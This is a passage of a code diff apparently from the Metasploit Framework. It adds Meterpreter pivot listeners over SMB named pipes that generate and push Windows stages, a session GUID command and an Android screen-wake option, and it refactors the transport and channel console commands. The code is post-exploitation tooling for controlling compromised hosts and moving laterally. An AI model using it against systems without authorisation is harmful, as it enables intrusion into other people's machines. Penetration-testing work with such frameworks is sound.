+  def Pivot.remove_listener(client, listener_id)
+    if client.find_pivot_listener(listener_id)
+      request = Packet.create_request('core_pivot_remove')
+      request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id)
+      client.send_request(request)
+      client.remove_pivot_listener(listener_id)
+    end
+  end
+
+  def Pivot.create_named_pipe_listener(client, opts={})
+    request = Packet.create_request('core_pivot_add')
+    request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
+
+    # TODO: use the framework to generate the whole lot, including a session type
+    c = Class.new(::Msf::Payload)
+    c.include(::Msf::Payload::Stager)
+    c.include(::Msf::Payload::TransportConfig)
+
+    # TODO: add more platforms
+    case opts[:platform]
+    when 'windows'
+      # Include the appropriate reflective dll injection module for the target process architecture...
+      if opts[:arch] == ARCH_X86
+        c.include(::Msf::Payload::Windows::MeterpreterLoader)
+      elsif opts[:arch] == ARCH_X64
+        c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
+      else
+        STDERR.puts("Not including a loader for '#{opts[:arch]}'\n")
+      end
+    end
+
+    stage_opts = {
+      arch: opts[:arch],
+      force_write_handle: true,
+      null_session_guid: true,
+      datastore: {
+        exit_func: opts[:exit_func] || 'process',
+        expiration: client.expiration,
+        comm_timeout: client.comm_timeout,
+        retry_total: client.retry_total,
+        retry_wait: client.retry_wait,
+        'PIPEHOST' => opts[:pipe_host],
+        'PIPENAME' => opts[:pipe_name]
+      }
+    }
+
+    # Create the migrate stager
+    stager = c.new()
+
+    stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
+    stage = stager.stage_payload(stage_opts)
+
+    url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}"
+    stage_config = "#{opts[:arch]}/#{opts[:platform]}"
+    pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config)
+
+    request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
+    request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
+    request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)
+
+    client.send_request(request)
+
+    client.add_pivot_listener(pivot_listener)
+
+    pivot_listener
+  end
+
+  def initialize(client, session_guid, listener_id)
+    self.client = client
+
+    opts = {
+      pivot_session: client,
+      session_guid:  session_guid
+    }
+
+    listener = client.find_pivot_listener(listener_id)
+    self.pivoted_session = listener.session_class.new(nil, opts)
+
+    self.pivoted_session.framework = self.client.framework
+    self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30})
+    self.client.framework.sessions.register(self.pivoted_session)
+  end
+
+protected
+
+  #
+  # Cleans up any lingering resources
+  #
+  def cleanup
+  end
+
+end
+
+end; end; end
+
+
diff --git a/lib/rex/post/meterpreter/pivot_container.rb b/lib/rex/post/meterpreter/pivot_container.rb
new file mode 100644
index 0000000000..e87e5807e6
--- /dev/null
+++ b/lib/rex/post/meterpreter/pivot_container.rb
@@ -0,0 +1,72 @@
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+
+###
+#
+# This interface is meant to be included by things that are meant to contain
+# zero or more pivot instances in the form of a hash.
+#
+###
+module PivotContainer
+
+  #
+  # Initializes the pivot association hash
+  #
+  def initialize_pivots
+    self.pivot_sessions = {}
+    self.pivot_listeners = {}
+  end
+
+  #
+  # Adds a pivot to the container that is indexed by the pivoted
+  # session guid.
+  #
+  def add_pivot_session(pivot)
+    self.pivot_sessions[pivot.pivoted_session.session_guid] = pivot
+  end
+
+  def add_pivot_listener(listener)
+    self.pivot_listeners[listener.id] = listener
+  end
+
+  #
+  # Looks up a pivot instance based on its pivoted session guid.
+  #
+  def find_pivot_session(pivot_session_guid)
+    return self.pivot_sessions[pivot_session_guid]
+  end
+
+  def find_pivot_listener(listener_id)
+    return self.pivot_listeners[listener_id]
+  end
+
+  #
+  # Removes a pivot based on its pivoted session guid.
+  #
+  def remove_pivot_session(pivot_session_guid)
+    return self.pivot_sessions.delete(pivot_session_guid)
+  end
+
+  def remove_pivot_listener(listener_id)
+    return self.pivot_listeners.delete(listener_id)
+  end
+
+  #
+  # The hash of pivot sessions.
+  #
+  attr_reader :pivot_sessions
+
+  attr_reader :pivot_listeners
+
+protected
+
+  attr_writer :pivot_sessions # :nodoc:
+
+  attr_writer :pivot_listeners # :nodoc:
+
+end
+
+end; end; end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb
index 95d8a21a6f..06bc638d8f 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb
@@ -49,6 +49,15 @@ module Console::CommandDispatcher
     shell.client
   end
 
+  #
+  # Returns the commands that meet the requirements
+  #
+  def filter_commands(all, reqs)
+    all.delete_if do |cmd, _desc|
+      reqs[cmd].any? { |req| !client.commands.include?(req) }
+    end
+  end
+
   #
   # Returns true if the client has a framework object.
   #
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
index 63203eeef9..8d3d0c2872 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
@@ -36,7 +36,6 @@ class Console::CommandDispatcher::Android
       'set_audio_mode'    => 'Set Ringer Mode',
       'wakelock'          => 'Enable/Disable Wakelock',
     }
-
     reqs = {
       'dump_sms'         => ['android_dump_sms'],
       'dump_contacts'    => ['android_dump_contacts'],
@@ -53,11 +52,7 @@ class Console::CommandDispatcher::Android
       'set_audio_mode'   => ['android_set_audio_mode'],
       'wakelock'         => ['android_wakelock'],
     }
-
-    # Ensure any requirements of the command are met
-    all.delete_if do |cmd, _desc|
-      reqs[cmd].any? { |req| !client.commands.include?(req) }
-    end
+    filter_commands(all, reqs)
   end
 
   def interval_collect_usage
@@ -517,7 +512,7 @@ class Console::CommandDispatcher::Android
       '-h' => [ false, 'Help Banner' ],
       '-d' => [ true, 'Destination number' ],
       '-t' => [ true, 'SMS body text' ],
-      '-dr' => [ false, 'Wait for delivery report' ]
+      '-r' => [ false, 'Wait for delivery report' ]
     )
 
     dest = ''
@@ -535,7 +530,7 @@ class Console::CommandDispatcher::Android
         dest = val
       when '-t'
         body = val
-      when '-dr'
+      when '-r'
         dr = true
       end
     end
@@ -701,6 +696,7 @@ class Console::CommandDispatcher::Android
     wakelock_opts = Rex::Parser::Arguments.new(
       '-h' => [ false, 'Help Banner' ],
       '-r' => [ false, 'Release wakelock' ],
+      '-w' => [ false, 'Turn screen on' ],
       '-f' => [ true, 'Advanced Wakelock flags (e.g 268435456)' ],
     )
 
@@ -713,6 +709,9 @@ class Console::CommandDispatcher::Android
         return
       when '-r'
         flags = 0
+      when '-w'
+        client.android.wakelock(0)
+        flags = 268435482
       when '-f'
         flags = val.to_i
       end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
index e5e4bd6925..a9cafc2d71 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
@@ -34,59 +34,62 @@ class Console::CommandDispatcher::Core
   end
 
   @@irb_opts = Rex::Parser::Arguments.new(
-    "-h" => [ false, "Help banner."                  ],
-    "-e" => [ true,  "Expression to evaluate."       ])
+    '-h' => [false, 'Help banner.'],
+    '-e' => [true,  'Expression to evaluate.'])
 
   @@load_opts = Rex::Parser::Arguments.new(
-    "-l" => [ false, "List all available extensions" ],
-    "-h" => [ false, "Help menu."                    ])
+    '-l' => [false, 'List all available extensions'],
+    '-h' => [false, 'Help menu.'])
 
   #
   # List of supported commands.
   #
   def commands
     c = {
-      "?"          => "Help menu",
-      "background" => "Backgrounds the current session",
-      "close"      => "Closes a channel",
-      "channel"    => "Displays information or control active channels",
-      "exit"       => "Terminate the meterpreter session",
-      "help"       => "Help menu",
-      "irb"        => "Drop into irb scripting mode",
-      "use"        => "Deprecated alias for 'load'",
-      "load"       => "Load one or more meterpreter extensions",
-      "machine_id" => "Get the MSF ID of the machine attached to the session",
-      "quit"       => "Terminate the meterpreter session",
-      "resource"   => "Run the commands stored in a file",
-      "uuid"       => "Get the UUID for the current session",
-      "read"       => "Reads data from a channel",
-      "run"        => "Executes a meterpreter script or Post module",
-      "bgrun"      => "Executes a meterpreter script as a background thread",
-      "bgkill"     => "Kills a background meterpreter script",
-      "get_timeouts" => "Get the current session timeout values",
-      "set_timeouts" => "Set the current session timeout values",
-      "sessions"   => "Quickly switch to another session",
-      "bglist"     => "Lists running background scripts",
-      "write"      => "Writes data to a channel",
-      "enable_unicode_encoding"  => "Enables encoding of unicode strings",
-      "disable_unicode_encoding" => "Disables encoding of unicode strings"
+      '?'            => 'Help menu',
+      'background'   => 'Backgrounds the current session',
+      'close'        => 'Closes a channel',
+      'channel'      => 'Displays information or control active channels',
+      'exit'         => 'Terminate the meterpreter session',
+      'help'         => 'Help menu',
+      'irb'          => 'Drop into irb scripting mode',
+      'use'          => 'Deprecated alias for "load"',
+      'load'         => 'Load one or more meterpreter extensions',
+      'machine_id'   => 'Get the MSF ID of the machine attached to the session',
+      'guid'         => 'Get the session GUID',
+      'quit'         => 'Terminate the meterpreter session',
+      'resource'     => 'Run the commands stored in a file',
+      'uuid'         => 'Get the UUID for the current session',
+      'read'         => 'Reads data from a channel',
+      'run'          => 'Executes a meterpreter script or Post module',
+      'bgrun'        => 'Executes a meterpreter script as a background thread',
+      'bgkill'       => 'Kills a background meterpreter script',
+      'get_timeouts' => 'Get the current session timeout values',
+      'set_timeouts' => 'Set the current session timeout values',
+      'sessions'     => 'Quickly switch to another session',
+      'bglist'       => 'Lists running background scripts',
+      'write'        => 'Writes data to a channel',
+      'enable_unicode_encoding'  => 'Enables encoding of unicode strings',
+      'disable_unicode_encoding' => 'Disables encoding of unicode strings'
     }
 
     if client.passive_service
-      c["detach"] = "Detach the meterpreter session (for http/https)"
+      c['detach'] = 'Detach the meterpreter session (for http/https)'
     end
 
     # Currently we have some windows-specific core commands`
     if client.platform == 'windows'
       # only support the SSL switching for HTTPS
       if client.passive_service && client.sock.type? == 'tcp-ssl'
-        c["ssl_verify"] = "Modify the SSL certificate verification setting"
+        c['ssl_verify'] = 'Modify the SSL certificate verification setting'
       end
+
+      c['pivot'] = 'Manage pivot listeners'
     end
 
     if client.platform == 'windows' || client.platform == 'linux'
       # Migration only supported on windows and linux
-      c["migrate"] = "Migrate the server to another process"
+      c['migrate'] = 'Migrate the server to another process'
     end
 
     # TODO: This code currently checks both platform and architecture for the python
@@ -94,18 +97,19 @@ class Console::CommandDispatcher::Core
     # the OS platform rather than the meterpreter arch. When we've properly implemented
     # the platform update feature we can remove some of these conditions
     if client.platform == 'windows' || client.platform == 'linux' ||
-        client.platform == 'python' || client.platform == 'java' ||
-        client.arch == ARCH_PYTHON || client.platform == 'android'
+        client.platform == 'python' || client.arch == ARCH_PYTHON ||
+        client.platform == 'java' || client.arch == ARCH_JAVA ||
+        client.platform == 'android' || client.arch == ARCH_DALVIK
       # Yet to implement transport hopping for other meterpreters.
-      c["transport"] = "Change the current transport mechanism"
+      c['transport'] = 'Change the current transport mechanism'
 
       # sleep functionality relies on the transport features, so only
       # wire that in with the transport stuff.
-      c["sleep"] = "Force Meterpreter to go quiet, then re-establish session."
+      c['sleep'] = 'Force Meterpreter to go quiet, then re-establish session.'
     end
 
     if msf_loaded?
-      c["info"] = "Displays information about a Post module"
+      c['info'] = 'Displays information about a Post module'
     end
 
     c
@@ -115,7 +119,157 @@ class Console::CommandDispatcher::Core
   # Core baby.
   #
   def name
-    "Core"
+    'Core'
+  end
+
+  @@pivot_opts = Rex::Parser::Arguments.new(
+    '-t' => [true, 'Pivot listener type'],
+    '-i' => [true, 'Identifier of the pivot to remove'],
+    '-l' => [true, 'Host address to bind to (if applicable)'],
+    '-n' => [true, 'Name of the listener entity (if applicable)'],
+    '-a' => [true, 'Architecture of the stage to generate'],
+    '-p' => [true, 'Platform of the stage to generate'],
+    '-h' => [false, 'View help']
+  )
+
+  @@pivot_supported_archs = [ARCH_X64, ARCH_X86]
+  @@pivot_supported_platforms = ['windows']
+
+  def cmd_pivot_help
+    print_line('Usage: pivot <list|add|remove> [options]')
+    print_line
+    print_line('Manage pivot listeners on the target.')
+    print_line
+    print_line(@@pivot_opts.usage)
+    print_line
+    print_line('Supported pivot types:')
+    print_line('     - pipe (using named pipes over SMB)')
+    print_line('Supported arhiectures:')
+    @@pivot_supported_archs.each do |a|
+      print_line('     - ' + a)
+    end
+    print_line('Supported platforms:')
+    print_line('     - windows')
+    print_line
+    print_line("eg.    pivot add -t pipe -l 192.168.0.1 -n msf-pipe -a #{@@pivot_supported_archs.first} -p windows")
+    print_line("       pivot list")
+    print_line("       pivot remove -i 1")
+    print_line
+  end
+
+  def cmd_pivot(*args)
+    if args.length == 0 || args.include?('-h')
+      cmd_pivot_help
+      return true
+    end
+
+    opts = {}
+    @@pivot_opts.parse(args) { |opt, idx, val|
+      case opt
+      when '-t'
+        opts[:type] = val
+      when '-i'
+        opts[:guid] = val
+      when '-l'
+        opts[:lhost] = val
+      when '-n'
+        opts[:name] = val
+      when '-a'
+        opts[:arch] = val
+      when '-p'
+        opts[:platform] = val
+      end
+    }
+
+    # first parameter is the command
+    case args[0]
+    when 'remove', 'del', 'delete', 'rm'
+      unless opts[:guid]
+        print_error('Pivot listener ID must be specified (-i)')
+        return false
+      end
+
+      unless opts[:guid] =~ /^[0-9a-f]{32}/i && opts[:guid].length == 32
+        print_error("Invalid pivot listener ID: #{opts[:guid]}")
+        return false
+      end
+
+      listener_id = [opts[:guid]].pack('H*')
+      unless client.find_pivot_listener(listener_id)
+        print_error("Unknown pivot listener ID: #{opts[:guid]}")
+        return false
+      end
+
+      Pivot.remove_listener(client, listener_id)
+      print_good("Successfully removed pivot: #{opts[:guid]}")
+    when 'list', 'show', 'print'
+      if client.pivot_listeners.length > 0
+        tbl = Rex::Text::Table.new(
+          'Header'  => 'Currently active pivot listeners',
+          'Indent'  => 4,
+          'Columns' => ['Id', 'URL', 'Stage'])
+
+        client.pivot_listeners.each do |k, v|
+          tbl << v.to_row
+        end
+        print_line
+        print_line(tbl.to_s)
+      else
+        print_status('There are no active pivot listeners')
+      end
+    when 'add'
+      unless opts[:type]
+        print_error('Pivot type must be specified (-t)')
+        return false
+      end
+
+      unless opts[:arch]
+        print_error('Architecture must be specified (-a)')
+        return false
+      end
+      unless @@pivot_supported_archs.include?(opts[:arch])
+        print_error("Unknown or unsupported architecture: #{opts[:arch]}")
+        return false
+      end
+
+      unless opts[:platform]
+        print_error('Platform must be specified (-p)')
+        return false
+      end
+      unless @@pivot_supported_platforms.include?(opts[:platform])
+        print_error("Unknown or unsupported platform: #{opts[:platform]}")
+        return false
+      end
+
+      # currently only one pivot type supported, more to come we hope
+      case opts[:type]
+      when 'pipe'
+        pivot_add_named_pipe(opts)
+      else
+        print_error("Unknown pivot type: #{opts[:type]}")
+        return false
+      end
+    else
+      print_error("Unknown command: #{args[0]}")
+    end
+  end
+
+  def pivot_add_named_pipe(opts)
+    unless opts[:lhost]
+      print_error('Pipe host must be specified (-l)')
+      return false
+    end
+
+    unless opts[:name]
+      print_error('Pipe name must be specified (-n)')
+      return false
+    end
+
+    # reconfigure the opts so that they can be passed to the setup function
+    opts[:pipe_host] = opts[:lhost]
+    opts[:pipe_name] = opts[:name]
+    Pivot.create_named_pipe_listener(client, opts)
+    print_good("Successfully created #{opts[:type]} pivot.")
   end
 
   def cmd_sessions_help
@@ -141,14 +295,14 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_background_help
-    print_line "Usage: background"
+    print_line('Usage: background')
     print_line
-    print_line "Stop interacting with this session and return to the parent prompt"
+    print_line('Stop interacting with this session and return to the parent prompt')
     print_line
   end
 
   def cmd_background
-    print_status "Backgrounding session #{client.name}..."
+    print_status("Backgrounding session #{client.name}...")
     client.interacting = false
   end
 
@@ -156,26 +310,26 @@ class Console::CommandDispatcher::Core
   # Displays information about active channels
   #
   @@channel_opts = Rex::Parser::Arguments.new(
-    "-c" => [ true,  "Close the given channel." ],
-    "-k" => [ true,  "Close the given channel." ],
-    "-i" => [ true,  "Interact with the given channel." ],
-    "-l" => [ false, "List active channels." ],
-    "-r" => [ true,  "Read from the given channel." ],
-    "-w" => [ true,  "Write to the given channel." ],
-    "-h" => [ false, "Help menu." ])
+    '-c' => [ true,  'Close the given channel.' ],
+    '-k' => [ true,  'Close the given channel.' ],
+    '-i' => [ true,  'Interact with the given channel.' ],
+    '-l' => [ false, 'List active channels.' ],
+    '-r' => [ true,  'Read from the given channel.' ],
+    '-w' => [ true,  'Write to the given channel.' ],
+    '-h' => [ false, 'Help menu.' ])
 
   def cmd_channel_help
-    print_line "Usage: channel [options]"
+    print_line('Usage: channel [options]')
     print_line
-    print_line "Displays information about active channels."
-    print_line @@channel_opts.usage
+    print_line('Displays information about active channels.')
+    print_line(@@channel_opts.usage)
   end
 
   #
   # Performs operations on the supplied channel.
   #
   def cmd_channel(*args)
-    if args.empty? or args.include?("-h") or args.include?("--help")
+    if args.empty? || args.include?('-h')
       cmd_channel_help
       return
     end
@@ -186,24 +340,25 @@ class Console::CommandDispatcher::Core
     # Parse options
     @@channel_opts.parse(args) { |opt, idx, val|
       case opt
-      when "-l"
+      when '-l'
         mode = :list
-      when "-c", "-k"
+      when '-c', '-k'
         mode = :close
         chan = val
-      when "-i"
+      when '-i'
         mode = :interact
         chan = val
-      when "-r"
+      when '-r'
         mode = :read
         chan = val
-      when "-w"
+      when '-w'
         mode = :write
         chan = val
       end
+
       if @@channel_opts.arg_required?(opt)
         unless chan
-          print_error("Channel ID required")
+          print_error('Channel ID required')
           return
         end
       end
@@ -213,12 +368,7 @@ class Console::CommandDispatcher::Core
     when :list
       tbl = Rex::Text::Table.new(
         'Indent'  => 4,
-        'Columns' =>
-          [
-            'Id',
-            'Class',
-            'Type'
-          ])
+        'Columns' => ['Id', 'Class', 'Type'])
       items = 0
 
       client.channels.each_pair { |cid, channel|
@@ -227,7 +377,7 @@ class Console::CommandDispatcher::Core
       }
 
       if (items == 0)
-        print_line("No active channels.")
+        print_line('No active channels.')
       else
         print("\n" + tbl.to_s + "\n")
       end
@@ -251,7 +401,7 @@ class Console::CommandDispatcher::Core
       @@channel_opts.fmt.keys
     when 2
       case words[1]
-      when "-k", "-c", "-i", "-r", "-w"
+      when '-k', '-c', '-i', '-r', '-w'
         tab_complete_channels
       else
         []
@@ -262,9 +412,9 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_close_help
-    print_line "Usage: close <channel_id>"
+    print_line('Usage: close <channel_id>')
     print_line
-    print_line "Closes the supplied channel."
+    print_line('Closes the supplied channel.')
     print_line
   end
 
@@ -272,22 +422,22 @@ class Console::CommandDispatcher::Core
   # Closes a supplied channel.
   #
   def cmd_close(*args)
-    if (args.length == 0)
+    if args.length == 0
       cmd_close_help
       return true
     end
 
-    cid     = args[0].to_i
+    cid = args[0].to_i
     channel = client.find_channel(cid)
 
-    if (!channel)
-      print_error("Invalid channel identifier specified.")
+    unless channel
+      print_error('Invalid channel identifier specified.')
       return true
-    else
-      channel._close # Issue #410
-
-      print_status("Closed channel #{cid}.")
     end
+
+    channel._close # Issue #410
+
+    print_status("Closed channel #{cid}.")
   end
 
   def cmd_close_tabs(str, words)
@@ -300,7 +450,7 @@ class Console::CommandDispatcher::Core
   # Terminates the meterpreter session.
   #
   def cmd_exit(*args)
-    print_status("Shutting down Meterpreter...")
+    print_status('Shutting down Meterpreter...')
     client.core.shutdown rescue nil
     client.shutdown_passive_dispatcher
     shell.stop
@@ -309,13 +459,13 @@ class Console::CommandDispatcher::Core
   alias cmd_quit cmd_exit
 
   def cmd_detach_help
-    print_line "Detach from the victim. Only possible for non-stream sessions (http/https)"
+    print_line('Detach from the victim. Only possible for non-stream sessions (http/https)')
     print_line
-    print_line "The victim will continue to attempt to call back to the handler until it"
-    print_line "successfully connects (which may happen immediately if you have a handler"
-    print_line "running in the background), or reaches its expiration."
+    print_line('The victim will continue to attempt to call back to the handler until it')
+    print_line('successfully connects (which may happen immediately if you have a handler')
+    print_line('running in the background), or reaches its expiration.')
     print_line
-    print_line "This session may #{client.passive_service ? "" : "NOT"} be detached."
+    print_line("This session may #{client.passive_service ? "" : "NOT"} be detached.")
     print_line
   end
 
@@ -328,9 +478,9 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_interact_help
-    print_line "Usage: interact <channel_id>"
+    print_line('Usage: interact <channel_id>')
     print_line
-    print_line "Interacts with the supplied channel."
+    print_line('Interacts with the supplied channel.')
     print_line
   end
 
@@ -338,29 +488,29 @@ class Console::CommandDispatcher::Core
   # Interacts with a channel.
   #
   def cmd_interact(*args)
-    if (args.length == 0)
+    if args.length == 0
       cmd_info_help
       return true
     end
 
-    cid     = args[0].to_i
+    cid = args[0].to_i
     channel = client.find_channel(cid)
 
-    if (channel)
+    if channel
       print_line("Interacting with channel #{cid}...\n")
 
       shell.interact_with_channel(channel)
     else
-      print_error("Invalid channel identifier specified.")
+      print_error('Invalid channel identifier specified.')
     end
   end
 
   alias cmd_interact_tabs cmd_close_tabs
 
   def cmd_irb_help
-    print_line "Usage: irb"
+    print_line('Usage: irb')
     print_line
-    print_line "Execute commands in a Ruby environment"
+    print_line('Execute commands in a Ruby environment')
     print @@irb_opts.usage
   end
 
@@ -384,8 +534,9 @@ class Console::CommandDispatcher::Core
     framework = client.framework
 
     if expressions.empty?
-      print_status("Starting IRB shell")
-      print_status("The 'client' variable holds the meterpreter client\n")
+      print_status('Starting IRB shell')
+      print_status('The "client" variable holds the meterpreter client')
+      print_line
 
       Rex::Ui::Text::IrbShell.new(binding).run
     else
@@ -394,11 +545,11 @@ class Console::CommandDispatcher::Core
   end
 
   @@set_timeouts_opts = Rex::Parser::Arguments.new(
-    '-c' => [ true,  'Comms timeout (seconds)' ],
-    '-x' => [ true,  'Expiration timout (seconds)' ],
-    '-t' => [ true,  'Retry total time (seconds)' ],
-    '-w' => [ true,  'Retry wait time (seconds)' ],
-    '-h' => [ false, 'Help menu' ])
+    '-c' => [true, 'Comms timeout (seconds)'],
+    '-x' => [true, 'Expiration timout (seconds)'],
+    '-t' => [true, 'Retry total time (seconds)'],
+    '-w' => [true, 'Retry wait time (seconds)'],
+    '-h' => [false, 'Help menu'])
 
   def cmd_set_timeouts_help
     print_line('Usage: set_timeouts [options]')
@@ -409,7 +560,7 @@ class Console::CommandDispatcher::Core
   end
 
   def cmd_set_timeouts(*args)
-    if ( args.length == 0 or args.include?("-h") )
+    if args.length == 0 || args.include?('-h')
       cmd_set_timeouts_help
       return
     end
@@ -430,7 +581,7 @@ class Console::CommandDispatcher::Core
     end
 
     if opts.keys.length == 0
-      print_error("No options set")
+      print_error('No options set')
     else
       timeouts = client.core.set_transport_timeouts(opts)
       print_timeouts(timeouts)
@@ -467,6 +618,15 @@ class Console::CommandDispatcher::Core
     print_good("Machine ID: #{client.machine_id}")
   end
 
+  #
+  # Get the session GUID
+  #
+  def cmd_guid(*args)
+    parts = client.session_guid.unpack('H*')[0]
+    guid = [parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
+    print_good("Session GUID: #{guid}")
+  end
+
   #
   # Get the machine ID of the target (should always be up to date locally)
   #
@@ -534,7 +694,7 @@ class Console::CommandDispatcher::Core
       if hash
         print_good("SSL verification is enabled. SHA1 Hash: #{hash.unpack("H*")[0]}")
       else
-        print_good("SSL verification is disabled.")
+        print_good('SSL verification is disabled.')
       end
 
     elsif enable
@@ -542,14 +702,14 @@ class Console::CommandDispatcher::Core
       if hash
         print_good("SSL verification has been enabled. SHA1 Hash: #{hash.unpack("H*")[0]}")
       else
-        print_error("Failed to enable SSL verification")
+        print_error('Failed to enable SSL verification')
       end
 
     else
       if client.core.disable_ssl_hash_verify
         print_good('SSL verification has been disabled')
       else
-        print_error("Failed to disable SSL verification")
+        print_error('Failed to disable SSL verification')
       end
     end
 
@@ -598,25 +758,24 @@ class Console::CommandDispatcher::Core
   # Arguments for transport switching
   #
   @@transport_opts = Rex::Parser::Arguments.new(
-    '-t'  => [ true,  "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
-    '-l'  => [ true,  'LHOST parameter (for reverse transports)' ],
-    '-p'  => [ true,  'LPORT parameter' ],
-    '-i'  => [ true,  'Specify transport by index (currently supported: remove)' ],
-    '-u'  => [ true,  'Custom URI for HTTP/S transports (used when removing transports)' ],
-    '-lu' => [ true,  'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ],
-    '-ua' => [ true,  'User agent for HTTP/S transports (optional)' ],
-    '-ph' => [ true,  'Proxy host for HTTP/S transports (optional)' ],
-    '-pp' => [ true,  'Proxy port for HTTP/S transports (optional)' ],
-    '-pu' => [ true,  'Proxy username for HTTP/S transports (optional)' ],
-    '-ps' => [ true,  'Proxy password for HTTP/S transports (optional)' ],
-    '-pt' => [ true,  'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ],
-    '-c'  => [ true,  'SSL certificate path for https transport verification (optional)' ],
-    '-to' => [ true,  'Comms timeout (seconds) (default: same as current session)' ],
-    '-ex' => [ true,  'Expiration timout (seconds) (default: same as current session)' ],
-    '-rt' => [ true,  'Retry total time (seconds) (default: same as current session)' ],
-    '-rw' => [ true,  'Retry wait time (seconds) (default: same as current session)' ],
-    '-v'  => [ false, 'Show the verbose format of the transport list' ],
-    '-h'  => [ false, 'Help menu' ])
+    '-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.join(', ')}"],
+    '-l' => [true, 'LHOST parameter (for reverse transports)'],
+    '-p' => [true, 'LPORT parameter'],
+    '-i' => [true, 'Specify transport by index (currently supported: remove)'],
+    '-u' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'],
+    '-c' => [true, 'SSL certificate path for https transport verification (optional)'],
+    '-A' => [true, 'User agent for HTTP/S transports (optional)'],
+    '-H' => [true, 'Proxy host for HTTP/S transports (optional)'],
+    '-P' => [true, 'Proxy port for HTTP/S transports (optional)'],
+    '-U' => [true, 'Proxy username for HTTP/S transports (optional)'],
+    '-N' => [true, 'Proxy password for HTTP/S transports (optional)'],
+    '-B' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'],
+    '-C' => [true, 'Comms timeout (seconds) (default: same as current session)'],
+    '-X' => [true, 'Expiration timout (seconds) (default: same as current session)'],
+    '-T' => [true, 'Retry total time (seconds) (default: same as current session)'],
+    '-W' => [true, 'Retry wait time (seconds) (default: same as current session)'],
+    '-v' => [false, 'Show the verbose format of the transport list'],
+    '-h' => [false, 'Help menu'])
 
   #
   # Display help for transport management.
@@ -656,23 +815,22 @@ class Console::CommandDispatcher::Core
     end
 
     opts = {
-      :uuid          => client.payload_uuid,
-      :transport     => nil,
-      :lhost         => nil,
-      :lport         => nil,
-      :uri           => nil,
-      :ua            => nil,
-      :proxy_host    => nil,
-      :proxy_port    => nil,
-      :proxy_type    => nil,
-      :proxy_user    => nil,
-      :proxy_pass    => nil,
-      :comm_timeout  => nil,
-      :session_exp   => nil,
-      :retry_total   => nil,
-      :retry_wait    => nil,
-      :cert          => nil,
-      :verbose       => false
+      :uuid         => client.payload_uuid,
+      :transport    => nil,
+      :lhost        => nil,
+      :lport        => nil,
+      :ua           => nil,
+      :proxy_host   => nil,
+      :proxy_port   => nil,
+      :proxy_type   => nil,
+      :proxy_user   => nil,
+      :proxy_pass   => nil,
+      :comm_timeout => nil,
+      :session_exp  => nil,
+      :retry_total  => nil,
+      :retry_wait   => nil,
+      :cert         => nil,
+      :verbose      => false
     }
 
     valid = true
@@ -681,31 +839,29 @@ class Console::CommandDispatcher::Core
       case opt
       when '-c'
         opts[:cert] = val
-      when '-u'
-        opts[:uri] = val
       when '-i'
         transport_index = val.to_i
-      when '-lu'
+      when '-u'
         opts[:luri] = val
-      when '-ph'
+      when '-H'
         opts[:proxy_host] = val
-      when '-pp'
+      when '-P'
         opts[:proxy_port] = val.to_i
-      when '-pt'
+      when '-B'
         opts[:proxy_type] = val
-      when '-pu'
+      when '-U'
         opts[:proxy_user] = val
-      when '-ps'
+      when '-N'
         opts[:proxy_pass] = val
-      when '-ua'
+      when '-A'
         opts[:ua] = val
-      when '-to'
+      when '-C'
         opts[:comm_timeout] = val.to_i if val
-      when '-ex'
+      when '-X'
         opts[:session_exp] = val.to_i if val
-      when '-rt'
+      when '-T'
         opts[:retry_total] = val.to_i if val
-      when '-rw'
+      when '-W'
         opts[:retry_wait] = val.to_i if val
       when '-p'
         opts[:lport] = val.to_i if val
@@ -742,14 +898,7 @@ class Console::CommandDispatcher::Core
       # this will output the session timeout first
       print_timeouts(result)
 
-      columns =[
-        'ID',
-        'Curr',
-        'URL',
-        'Comms T/O',
-        'Retry Total',
-        'Retry Wait'
-      ]
+      columns = ['ID', 'Curr', 'URL', 'Comms T/O', 'Retry Total', 'Retry Wait']
 
       if opts[:verbose]
         columns << 'User Agent'
@@ -766,8 +915,8 @@ class Console::CommandDispatcher::Core
         'Columns'   => columns)
 
       sorted_by_url.each_with_index do |t, i|
-        entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url],
-                  t[:comm_timeout], t[:retry_total], t[:retry_wait] ]
+        entry = [i + 1, current_transport_url == t[:url] ? '*' : '', t[:url],
+                  t[:comm_timeout], t[:retry_total], t[:retry_wait]]
 
         if opts[:verbose]
